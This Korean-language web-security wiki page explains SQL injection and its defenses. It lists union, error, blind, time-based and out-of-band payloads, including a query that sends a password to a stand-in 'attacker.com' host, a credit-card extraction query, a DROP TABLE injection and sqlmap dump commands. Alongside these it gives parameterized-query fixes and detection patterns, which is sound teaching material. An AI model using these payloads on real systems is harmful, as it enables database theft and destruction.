전체 그래프
OWASP Top 10

SQL Injection

web-securityowaspinjectionattack

상위: Web Security

요약

SQL Injection(SQLi)은 사용자 입력값에 악의적인 SQL 쿼리를 삽입하여 데이터베이스를 조작하는 공격입니다. OWASP Top 10에서 가장 위험한 취약점 중 하나입니다.

공격 원리

정상적인 로그인 쿼리

SELECT * FROM users WHERE username='admin' AND password='1234'

SQL Injection 공격

입력값: username = admin'--
SELECT * FROM users WHERE username='admin'--' AND password='아무거나'

                                    이후 주석 처리됨

→ 비밀번호 검증 없이 admin으로 로그인 성공

공격 유형

1. Union-based SQLi

여러 쿼리 결과를 합쳐서 데이터 추출

-- 원본 쿼리
SELECT name, price FROM products WHERE id=1

-- 공격
SELECT name, price FROM products WHERE id=1
UNION SELECT username, password FROM users--

2. Error-based SQLi

에러 메시지에서 정보 추출

-- 공격
' AND 1=CONVERT(int, (SELECT TOP 1 username FROM users))--

-- 에러 메시지
"Conversion failed when converting 'admin' to int"

                                  정보 노출

3. Blind SQLi (Boolean-based)

참/거짓 응답으로 정보 추출

--  글자가 'a'인지 확인
' AND SUBSTRING(username,1,1)='a'--

-- 응답이 정상이면 True, 아니면 False

4. Time-based Blind SQLi

응답 시간으로 정보 추출

--  글자가 'a' 5초 대기
' AND IF(SUBSTRING(username,1,1)='a', SLEEP(5), 0)--

5. Out-of-band SQLi

DNS/HTTP 요청으로 데이터 전송

-- MySQL
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\a'))

실제 공격 예시

인증 우회

아이디: admin'--
비번: 아무거나

→ 관리자로 로그인

데이터 추출

검색: ' UNION SELECT credit_card, cvv FROM payments--

→ 신용카드 정보 노출

데이터베이스 삭제

입력: '; DROP TABLE users;--

→ 테이블 삭제 (매우 위험)

취약한 코드 vs 안전한 코드

취약한 코드

# 절대 이렇게 하면 안됨!
query = f"SELECT * FROM users WHERE username='{username}'"
cursor.execute(query)

안전한 코드 (Parameterized Query)

# 파라미터 바인딩 사용
query = "SELECT * FROM users WHERE username=%s"
cursor.execute(query, (username,))

ORM 사용 (더 안전)

# Django ORM
User.objects.filter(username=username)

# SQLAlchemy
session.query(User).filter_by(username=username).first()

방어 방법

1. Prepared Statements (필수)

// Java
PreparedStatement stmt = conn.prepareStatement(
    "SELECT * FROM users WHERE username=? AND password=?"
);
stmt.setString(1, username);
stmt.setString(2, password);

2. ORM 사용

  • Django ORM, SQLAlchemy, Hibernate 등
  • 자동으로 파라미터 이스케이프

3. 입력값 검증

import re

# 영문/숫자만 허용
if not re.match(r'^[a-zA-Z0-9]+$', username):
    raise ValueError("Invalid username")

4. 최소 권한 원칙

--  애플리케이션 DB 계정
GRANT SELECT, INSERT, UPDATE ON app_db.* TO 'webapp'@'localhost';
-- DROP, DELETE 권한 제거

5. WAF 적용

6. 에러 메시지 숨기기

# 운영 환경에서
DEBUG = False  # 상세 에러 메시지 비활성화

탐지 패턴

의심스러운 입력

' OR '1'='1
' OR 1=1--
'; DROP TABLE--
' UNION SELECT--
1' AND '1'='1
admin'--

WAF 규칙 예시

Rule: SQLi Detection
Pattern: /(union|select|insert|update|delete|drop|--|;)/i
Action: Block

테스트 도구

도구설명
sqlmap자동화된 SQL Injection 테스트
Burp Suite수동 테스트 및 분석
OWASP ZAP무료 보안 스캐너

sqlmap 사용 예시

# 기본 테스트
sqlmap -u "http://example.com/page?id=1" --dbs

# 데이터베이스 목록 추출
sqlmap -u "http://example.com/page?id=1" --tables

# 특정 테이블 덤프
sqlmap -u "http://example.com/page?id=1" -D dbname -T users --dump

관련 공격

  • NoSQL Injection - MongoDB, Redis 등 대상
  • Command Injection - OS 명령어 삽입
  • LDAP Injection - 디렉토리 서비스 공격
  • XPath Injection - XML 데이터 공격

참고 자료